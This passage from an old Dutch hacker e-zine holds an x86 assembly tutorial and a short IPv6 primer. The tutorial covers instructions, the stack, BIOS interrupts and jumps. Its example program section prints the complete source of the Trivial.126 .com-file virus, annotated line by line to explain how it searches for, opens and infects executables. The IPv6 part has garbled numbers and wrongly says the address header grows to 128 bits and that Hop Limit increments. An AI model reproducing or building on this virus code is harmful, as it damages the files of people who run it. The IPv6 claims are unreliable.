methode. FILO staat voor First In Last Out. De stack word onder andere gebruikt om parameters in een functie te zetten en om tijdelijk een register te bewaren, omdat hij anders door een instructie vernietigt zou kunnen worden. ~ Voorbeeld Pascal: Draw(aap, noot, 3+3); ASM: push aap ; Zet aap op de stack push noot ; Zet noot op de stack mov ax, 3 ; Zet 3 in register ax add ax, 3 ; Tel 3 op bij register ax push ax ; Zet register ax op de stack call Draw ; Roep de functie "Draw" aan ~ ---{ 08. De meestgebruikte instructies } Instructies kunnen de registers manipuleren. Zo kan een instructie van een register lezen of naar een register schrijven. Zo kan je bijvoorbeeld met de int instructies eigenschappen van een bestand krijgen te zien. Daarvoor moet je eerst in een register zetten welk bestand. Je voert de int instructie uit en dan zal hij naar een ander bestand de eigenschappen schrijven van het bestand. =# ADD "Addition" SYNTAX: ADD doel, source DOEL: De source en het doel bij elkaar optellen en daarna het doel vervangen door de uitkomst. =# SUB "Substract" SYNTAX: SUB doel, source DOEL: De source en het doel van elkaar aftrekken en daarna het doel vervangen door de uitkomst. ==# INC "Increase" SYNTAX: INC doel DOEL: Het doel verhogen met een. =# LEA "Load Effective Address" SYNTAX: lea doel, source DOEL: plaatst het adres van de source naar het doel =# MUL "Multiply" SYNTAX: MUL source DOEL: De source en register ax met elkaar vermenigvuldigen en daarna register ax vervangen met het resultaat. ~ Voorbeeld mov ax, 4 ; Plaats 4 in het ax register mov bx, 4 ; Plaats 4 in het bx register mul bx ; Vermenigvuldig bx met ax en daara ax vervangen met het resultaat. ~ =# DIV "Divide" SYNTAX: DIV source DOEL: De source en register ax door elkaar delen en daarna register ax vervangen met het resultaat. ~ Voorbeeld mov ax, 4 ; Plaats 4 in het ax register mov bx, 4 ; Plaats 4 in het bx register div bx ; Deelt bx door ax en daara ax vervangen met het resultaat. ~ =# AND SYNTAX: AND doel, source DOEL: Een logische AND uitvoeren over de twee invoervariabelen en daarna het doel vervangen door de uitkomst. ~ AND 0 AND 0 = 0 0 AND 1 = 0 1 AND 0 = 0 1 AND 1 = 1 ~ ~ Voorbeeld Ik geef alleen bij and een voorbeeld, bij not, or xor kan je dan naar dit voorbeeld kijken (dan kloppen de waarden niet meer, maar het systeen wel). ax = 0101 bx = 1100 AND ax, bx ax = 0100 ~ =# NOT SYNTAX: NOT doel, source DOEL: Een logische NOT uitvoeren over de twee invoervariabelen en daarna het doel vervangen door de uitkomst. ~ NOT NOT 0 = 1 NOT 1 = 0 ~ =# OR SYNTAX: OR doel, source DOEL: Een logische OR uitvoeren over de twee invoervariabelen en daarna het doel vervangen door de uitkomst. ~ OR 0 OR 0 = 0 0 OR 1 = 1 1 OR 0 = 1 1 OR 1 = 1 ~ =# XOR SYNTAX: XOR doel, source DOEL: Een logische XOR uitvoeren over de twee invoervariabelen en daarna het doel vervangen door de uitkomst. ~ XOR 0 XOR 0 = 0 0 XOR 1 = 1 1 XOR 0 = 1 1 XOR 1 = 0 ~ ~ Voorbeeld Een creatieve manier op ax en bx te verwisselen: xor ax, bx xor bx, ax xor ax, bx ~ =# CALL SYNTAX: CALL adres DOEL: Voert de functie op het adres uit ** Pushed het adres van de instructie die na de call instructie ligt(EIP). ** Vervolgens jump hij naar het opgegeven adres. ** Zodra de functie is afgelopen gaat het programma door met code na de ** call. ~ Voorbeeld call aap ; Zorgt dat het programma springt naar de functie aap ; en bewaard het adres van de volgende instructie ; (xor ax, ax) op de stack xor ax, ax ; Leegt ax aap: ; Functie aap, hier spring de call instructie heen ret ; Haalt het return adres van de stack (EIP) en springt ; naar dat adres, als het goed is staat er op de stack ; een adres dat is achter gelaten door een call ; instructie als er perongeluk iets anders staat ; (bijvoorbeeld door een vergeten pop of door een push ; teveel) is het erg waarschijnlijk dat het programma ; crasht. ~ =# RET "Return" SYNTAX: RET DOEL: Terugkeren uit een functie of als er niet gejumpt is uit het programma. ** Pop't EIP van de stack en zet hem terug in EIP. ** Geeft aan dat het programma door moet gaan met de code vanwaar de call ** kwam. =# CMP "Compare" SYNTAX: CMP reg1, reg2 DOEL: Vergelijkt reg1 met reg2 en update daarna de flag. =# INT "Interrupt" SYNTAX: INT interrupt-nummer in hex DOEL: Een default function aanroepen. ~ Uitleg van dvorak Als je wilt dat je programma iets nuttigs doet, bijvoorbeeld data uit een file lezen kun je natuurlijk alles dat daarvoor nodig is gaan programmeren, maar dat zou tot erg grote programma's leiden. Een oplossing daarvoor zijn de zogenaamde interrupts, deze kun je aanroepen met een speciale instructie (int). Dan neemt in programma dat altijd in het geheugen staat tijdelijk de besturing over en voert de opgedragen taak uit, hierdoor is het mogelijk om op een simpele wijze met bestanden te kunnen werken zonder dat je eindeloze lappen code daarvoor moet programmeren. Hieronder is een lijstje van interrupts en het soort functies dat het achterliggende programma kan uitvoeren. ~ =# JMP "Jump" SYNTAX: JMP adres DOEL: Spring naar het opgegeven adres in de code. 32768 maximaal naar voren of naar achteren. =# MOV "Move" SYNTAX: MOV doel,source DOEL : Verplaatst de data van de source naar het doel. =# PUSH "Push" SYNTAX: PUSH DOEL: Een register op de stack plaatsen. ~ Voorbeeld push ax push bx pop ax ; De waarde die het laatst gepushed werd komt terecht ; in ax. Hierna bevat ax dus de oude waarde van bx pop bx ; Nu is de bovenste waarde op de stack die oude waarde ; van ax welke nu in bx staat ~ =# POP "Pop up" SYNTAX: POP doel DOEL: Een register op de laatste plaats op de stack plaatsen. ~ Voorbeeld push ax ; Plaats ax op de stack mov ax, 3 ; Zet 3 in register ax add ax, 3 ; Tel 3 op bij register ax mov bx, ax ; Zet de waarde van register ax naar register bx pop ax ; Zet stack terug in register ax ~ =# XCHG "Exchange" SYNTAX: XCHG reg1, reg2 DOEL: verwisselt de bijde registers met elkaar. Voor complete lijst Instructies: http://www.cs.umbc.edu/~gorak/nasm_doc/nasmdoca.html --{ 09. IBM PC BIOS Interrupts } Interrupt Functie ----------------------- 5h Print Screen functie 10h bios Video display services 11h bios Equipment determination 12h bios Memory size determination 13h bios Diskette and hard disk services 14h bios Serial I/O services 15h bios Miscellaneous services 16h bios Keybord services 17h bios Printer services 18h BASIC 19h boot strap loader Reboot 1Ah Real time clock bios services 21h bios filesystem services ==# 5h Het aanroepen van deze interrupt heeft het zelfde effect als het in drukken van de print screen toets op je toetsenbord. ==# 10h Met deze interrupt kunnen allerlei dingen met betrekking tot je scherm worden veranderd, bijvoorbeeld de scherm mode. ==# 11h Met deze interrupt is het mogelijk om te achterhalen wat voor apparatuur er in de computer zit, bijvoorbeeld over floppy drives ==# 12h Met deze interrupt kun je de gehuigengrootte krijgen. ==# 13h Via deze functie kunnen floppy disks en harddrives rechtstreeks worden benaderd, buiten het file systeem om (meestal geen goed idee) == # 14h Met deze interrupt kun met de seriele communicatie poorten werken. ==# 16h Met deze interrupts kun je toetsen lezen, testen of het toetsenbord status verkrijgen. ==# 17h Met deze interrupt kun met de parallele communicatie poorten werken. ** In protected mode kun je geen BIOS interrupts aanspreken. ** Voor complete lijst met BIOS interrupts kijk je op : ** http://www.programmersheaven.com/zone5/cat21/index.htm ~ Voorbeeld mov ax, 13h ; Zet 13 in register ax, 13= resolutie 320x200 int 10h ; Roep bios Video display services aan ~ ---{ 10. Compare } Waneer je twee registers via CMP met elkaar hebt vergelijkt, ga je die verder verwerken. Syntax Beschrijving -------------------- JZ Jumps als welke flag dan ook is 0 JNZ Jumps als welke flag dan ook niet is 0 JE Jumps als is gelijk JNE Jumps als is niet gelijk JG Jumps als is groter JNG Jumps als is niet groter JLE Jumps als is minder of gelijk JGE Jumps als is groter of gelijk ~ Voorbeeld PASCAL: if aap = noot then Functie() ASM: cmp ax, bx ; Vergelijk registers ax en bx, update de flags JE Functie ; Jumps als ax en bx gelijk waren ~ ---{ 11. Voorbeeld programma } Hieronder staat de source van een oud virus die .com files kan besmetten. Dit virus kan een .com file infecten. Dit virus zal door alle virus scanners worden onderschept. Een aantal dingen vallen op aan dit virus: hij checkt niet op de grote van de .com file wat kan leiden tot problemen, een .com file mag maximaal 64k groot zijn als het virus een 64k-10 bytes file infecteert leidt dit tot een .com file groter dan 64k en dus een niet werkend programma. Het virus checkt evenmin of het het file al heeft geinfecteert wat kan Leiden tot meerdere infecties van hetzelfde file en dus snel tot te grote files. Het virus zoekt alleen in de directory waar het toevallig instaat en zal Dus niet zo effectief als het kan zijn. De uitleg van dit virus heeft dvorak voor zijn rekening genomen. ; - Trivial.126 - ; Created by Immortal Riot's destructive development team ; (c) 1994 The Unforgiven/Immortal Riot ; FE Highly detected COM-infectorFE .model tiny .code .radix 16 org 100h ; cs:100h => start of com file start: storbuf db 00,00,00,00 ; just for the first generation! ; this will not be written in the ; files, making the file increase ; equal to 126 bytes! ; Aangezien get_off de volgende instructie ; is zal zijn adres op de stack worden gezet ; call's zijn voor dit kleine verschil ; in afstand relatief, wat wil zeggen dat er ; in feite staat: spring zoveel plaatsen ; vooruit i.p.v. dat er staat spring naar ; adres zus en zo. ; Terwijl het adres dat op de stack komt te ; staan wel absoluut is. met deze combinatie ; van instructies (relatieve sprong, absolute ; waarde op de stack is het dus mogelijk om ; het adres van het virus te vinden v_start: call get_off ; ;) get_off: pop bp ; get delta-offset ; Hiermee komt het (absolute) adres van ; get_off in bp terecht zodat de rest van het ; virus hiervandaan kan worden gevonden. sub bp, offset get_off ; Dit wordt gedaan om de rest van het virus ; makkelijker te maken. ; Hierdoor geeft bp + "een label" het adres ; van dat label in het geinfecteerdeprogramma. lea si,[bp+orgbuf] ; transer 3 first bytes (2 than 1) ; si verwijst nu naar orgbuf in het ; geinfecteerde programma, in orgbuf ; staan de eerste 3 bytes van het orginele ; programma, deze 3 bytes worden in een ; geinfecteerd programma vervangen door ; een JMP "adres van virus" instructie. mov di,100h ; from position di:100h to orgbuf! ; adres waar deze bewaarde bytes in het ; programma terecht moeten komen, 100h ; is het begin van het programma movsw ; ; Verplaats een word (= 2 bytes) van ; ds:si naar es:di en verhoog zowel ; si als di met 2 movsb ; ; En nog een byte dus totaal 3 bytes. mov ah,1ah ; Roep functie 1ah van interrupt 21h aan ; interrupt 21h is de DOS interrupt en zorgt ; voor bijvoorbeeld toegang tot het filesystem ; functie 1ah bepaalt de dta (Disk Transfer ; Area) of te wel de plaats waar het resultaat ; van bepaalde andere functies wordt geplaatst ; bijvoorbeeld van de find_first functie die ; hierna gebruik wordt. lea dx,[bp+code_end] ; set dta int 21h ; to end of program mov ah,4eh ; Functie 4eh van interrupt 21h zoekt naar ; het eerste file dat voldoet aan het ; criterium waar dx naar verwijst, in dit ; geval: "*.com" lea dx,[bp+com_files] ; match with the extension ; 'COM' find_next: int 21h jnc infect ; jnc = JMP if not carry(flag) ; int 21h zet de carry flag als er een error ; is als de carry flag niet gezet is ; is er dus een file met de extentie .COM ; gevonden. quit: ; Hier kom je alleen terecht ; als de carry flag gezet is wat betekend ; dat er geen .COM bestand is gevonden ; dan moet het virus terug keren naar het ; oorspronkelijke programma (wat boven ; zijn 3 missende bytes heeft terug gekregen) ; dit gebeurt door naar adres 100h te springen ; dit is immers het begin van elk .COMbestand. mov bx,100h ; did not, return jmp bx ; to original program! infect: ; Hier komt het virus alleen als het een .COM ; bestand heeft gevonden. lea dx,[bp+code_end+1eh] ; 1eh = adress to filename to open ; Functie 3dh (de waarde in ah zoals die ; zodadelijk wordt gezet) is de open file ; functie dx wijst naar de naam van het file ; dat geopend moet worden. ; bp + code_end verwijst naar de dta (waar het ; resultaat van de zoek opdracht terecht komt) ; en offset 1eh daarbinnen is de plaats waar ; de naam van het gevonde bestand staat. mov ax,3d02h ; open file ; ah = 3dh (de open functie) ; en al = 02h wat overeen komt met ; read/write mode oftewel het is mogelijk om ; dit bestand te lezen en te schrijven als het ; geopend is int 21h ; in read/write mode ; Deze functie plaats het resultaat van de ; open actie (een filehandle oftewel een ; verwijzing naar een file) in ax. ; Zoals je kan zien wordt er niet rekening ; gehouden met een error. xchg ax,bx ; Verwissel ax en bx met als resultaat dat ; de filehandle nu in bx staat ; al de volgende functies verwachten de ; filehandle in bx dit zal niet meer gezegd ; worden, maar houdt er dus rekening mee ; dat bx niet gewijzigd dient te worden mov ah,3fh ; functie 3fh is de lees functie mov cx,3 ; in cx staat hoeveel bytes er moeten ; worden gelezen lea dx,[bp+orgbuf] ; En in dx staat waar deze moeten worden ; bewaard int 21h ; alleen de eerste 3 bytes worden gelezen ; aangezien deze straks worden vervangen ; door een JMP instructie ; standaard staat de file-pointer aan het ; begin van het file, zodat er daarvan wordt ; gelezen mov ax,4202h ; move file-pointer ; functie 42h: verplaatsing van de file ; pointer, al bepaalt ten opzichte van ; wat er verschoven wordt, 02h is ten ; opzichte van het einde van het file xor cx,cx ; to end of file ; cx bepaalt hoever de file pointer moet ; worden verplaatst, 0 betekend dus dat hij ; zodadelijk naar het einde van het file wijst cwd int 21h ; Na aanroep van deze interrupt bevat ; ax de huidige file-pointer en dus ; in dit geval de grote van het file sub ax,3h ; substract the 3 last bytes mov word ptr [bp+first_bytes+1],ax ; and put em in our buffer mov ah,40h ; Functie 40h is de schrijf functie mov cx,code_end-v_start ; cx bevat het aantal bytes dat moet worden ; geschreven, code_env-v_start is het hele ; virus. lea dx,[bp+v_start] ; dx bepaalt waar de bytes staan die moeten ; worden geschreven, bp+v_start komt ; overeen met het begin van het virus in het ; geinfecteerde programma ; aangezien de file-pointer wijst naar het ; einde van het te infecteren programma ; wordt het virus daar achteraan geplaatst. int 21h ; Van de grote van het file wordt ; 3 af getrokken zodat het het aantal ; bytes wordt verkregen dat naar voren ; moet worden gesprongen vanaf het begin ; van het programma om bij het virus te komen ; (de JMP instructie neemt 3 bytes in beslag). mov ax,4200h ; Wederom de move file-pointer functie maar ; nu met al=0h oftewel vanaf het begin van ; het file. xor cx,cx ; 0 bytes voorbij het begin van het file ; is ... precies het begin ;) cwd int 21h mov ah,40h ; Wederom de schrijf functie mov cx,3 ; 3 bytes moeten er worden geschreven lea dx,[bp+first_bytes] ; en die drie bytes bevatten de hierboven ; uitgerekende jmp instructie.. int 21h close: mov ah,3eh ; sluiten van de filehandle en daarmee ; het permanent maken van de modificaties int 21h mov ah,4fh ; Functie 4fh: zoek naar het volgende file ; dat voldoet aan de criteria ; deze criteria staan in de dta. jmp short find_next ; and loop the procedure ; until all files are infected com_files: db "*.com",0 ; files to search for first_bytes: db 0e9h,00h,00h ; buffer to calculate a new entry orgbuf: db 0cdh,20h,90h ; buffer to save 3 first bytes code_end: end start ** ---{ EOF junk } Voor vragen, opmerkingen en flames: genetics@hit2000.org http://www.penguin.cz/~niki/tdasm/ http://www.powerbasic.com/files/pub/asm/ http://www.programmersheaven.com/zone5/index.htm http://www.flipcode.com/ http://www.linuxassembly.org/ http://www.cs.umbc.edu/~gorak/nasm_doc/nasmdoca.html Bedankjes naar: raistlin, {}, BleuLiVE, dvorak, Scrippie, MrFloat, UndiFineD en ViruS. Groetjes naar: LordRaYde, BoGie, r00t, Scorpster ,Nederwiet, Pentag0n, The_Itch, Tasc en Nynex. ------------------------------------------------------- 12. IPv6: The Next Generation ------------------------------------------------------- De volgende generatie ... (IPv6: The Next Generation) Hallo, dit is mijn eerste artikeltje voor H4H (keep it kort en simpel, tja lang is hij niet! en ook niet erg op niveau maar dat komt volgende keer wel als ik wat meer tijd heb) en ik geloof ook mijn eerste in het Nederlands. Ik scrhijf over het algemeen alleen voor het e-zine phrack maar ik zal proberen nu op de manier van H4H te scrhijven. In dit artikel zal ik wat gaan vertellen over de vorderingen van IPv6. Het probleem: Het twintig jaar oude IPv4 loopt tegen zijn maximum aantal clienten aan. De oplossing: Het 32-bits IPv4 protocol vervangen voor een 128-bits protocol dat een grotere IP-Header aankan en dus meer clienten. Hoe werkt IPv4? IPv4 is 32 bits wat betekend dat er: 32 2 = 4,294,967,296 beschikbare adressen zijn. Omdat er ondersteuning en flexibiliteit moet zijn is IPv4 opgedeeld in 3 verschillende classes. Class A, Class B en Class C (zie figuur) Bit# 0 1 7 8 31 |0| | | < NET# > < HOST# > Bit# 0 2 15 16 31 |10| | | < NET# > < HOST# > Bit# 0 3 23 24 31 |110| | | < NET# > Een van de fundamenten van classfull IP adressing is dat ieder adres een zelf-coderende sleutelwaarde heeft die het scheidings punt tussen het netwerk- en het host nummer aangeeft. En hoe zit het geheel dan in elkaar? met die Class A, B, en C?? wat weten we nu? A.B.C.? (voorbeeld van een IPv4 adres: 194.134.0.97) Even over het aantal netwerken per aparte classes: 7 Class A - Aantal netwerken : 126*(2 -2) 24 Hosts per netwerk: 16,777,214*(2 -2) 14 Class B - Aantal Netwerken : 16,384*(2 ) 16 Hosts per netwerk: 65,534*(2 -2) 21 Class C - Aantal Netwerken : 2,097,152*(2 ) 8 Hosts per netwerk: 254*(2 -2) Het geheel zit als volgt inelkaar: 31 Class A: ( /8): 2 = 2,147,483,648 = 1/2 = 50% of IPv4 30 Class B: (/16): 2 = 1,073,741,824 = 1/4 = 25% of IPv4 29 Class C: (/24): 2 = 536,870,912 = 1/8 = 12.5% of IPv4 --------------------------------------------------------- 29 Class D & E : 2 = 536,870,912 = 1/8 = 12.5% of IPv4 --------------------------------------------------------- 32 All Classes : 2 = 4,294,967,296 = 1 = 100% of IPv4 Tot zover over het oude IPv4 nu terug naar het probleem: De oplossing op het probleem is al jaren werklijkheid (en niet sinds kort zoals jullie in de computer idee hebben kunnen lezen.) Het nieuwe internet protocol heet: IPv6 en heeft naast de vergroting van de IP header ook nog een aantal andere veranderingen/verbeteringen. Hier staan ALLE veranderingen even op een rijtje. Uitgebreide Adressering Capaciteiten: IPv6 vergroot de grootte van een IP adres van een 32-bits naar 128-bits waardoor er meer IP adresserings levels mogelijk zijn, Dat er veel meel clienten in 1 keer mogelijk zijn en dat het automatisch configureren van adressen makkelijker word. De 'scalability of multicast routing' is verbeterd door een 'scope' veld toe te voegen om adressen te multicasten. Er word ook een nieuwe type adres toegevoed genaamd: "anycast adress". Dit adres word gebruikt om een packet te versturen naar een groep van clienten. Simpelere IP-Header: Een aantal delen uit de IPv4 header zijn verwijderd of optioneel gemaakt om het normale packet behandel proces korter te maken en om bandbreedte te besparen in de IPv6 header Verbeterde ondersteuning voor uitbreidingen en extra opties: De veranderingen in the codering van de IP header zorgen voor efficientere doorsturing, minder limieten in de lengte van opties en een grotere ondersteuning voor mogelijke veranderingen in de toekomst. Flow Labeling capaciteit: Er is een nieuwe capaciteit toegevoegd die het mogelijk maakt om labels mee te geven aan packets die toebehoren aan sommige "flows" waarvoor de zender speciale behandeling vraagt. Zoals bijvoorbeel niet-standaard "Quality of Service" Authenication en privacy capaciteiten: Extensies om "authenication support", "data integrity" en (optionele) "data confindentialitity" mogelijk te maken. Dit zijn de meest grote en (reeds) bekende veranderingen waarvan zeker is dat zij zullen worden toegevoed aan het nieuwe protocol. Wat we natuurlijk niet zeker weten is of dit alle veranderingen zijn die in de uiteindelijke versie zullen verscijnen. Zoals je hebt kunnen lezen is een van de belangrijkste veranderingen de IP- header die van 32-bits naar 128-bits is verandert. Om je een indruk te geven van de nieuwe IP-header is hier een schematisch overzicht van de IPv6 header |===============================================================| |Version | Prio. | Flow Label | |===============================================================| | Payload Length | Next Header | Hop Limit | |===============================================================| | | | | | | | Source Address | | | | | | | |===============================================================| | | | | | | | Destination Address | | | | | | | |===============================================================| Version 4-bits waarde : Internet Protocol versie. Prio. 4-bits waarde : priority waarde. Flow Label 24-bits waarde : flow label. Payload Length 16-bits waarde : hoeveelheid opvolgende packets Next Header 8-bits waarde : type van opvolgende header Hop Limit 8-bits waarde : deze waarde gaat iedere keer +1 wanneer een client een deze packet forward Source Address 128-bits waarde : adres van de offciele afkomst van de packet. Voordat ik er een eind aanbrijd wil ik nog ff wat greetz posten! Greetz to: AMD/Mixter/uDc/Securologix/All my friends on IRC Written by: Necrose Necrose@securologix.com Securologix - Security Research Team http://www.securologix.com ------------------------------------------------------- EOF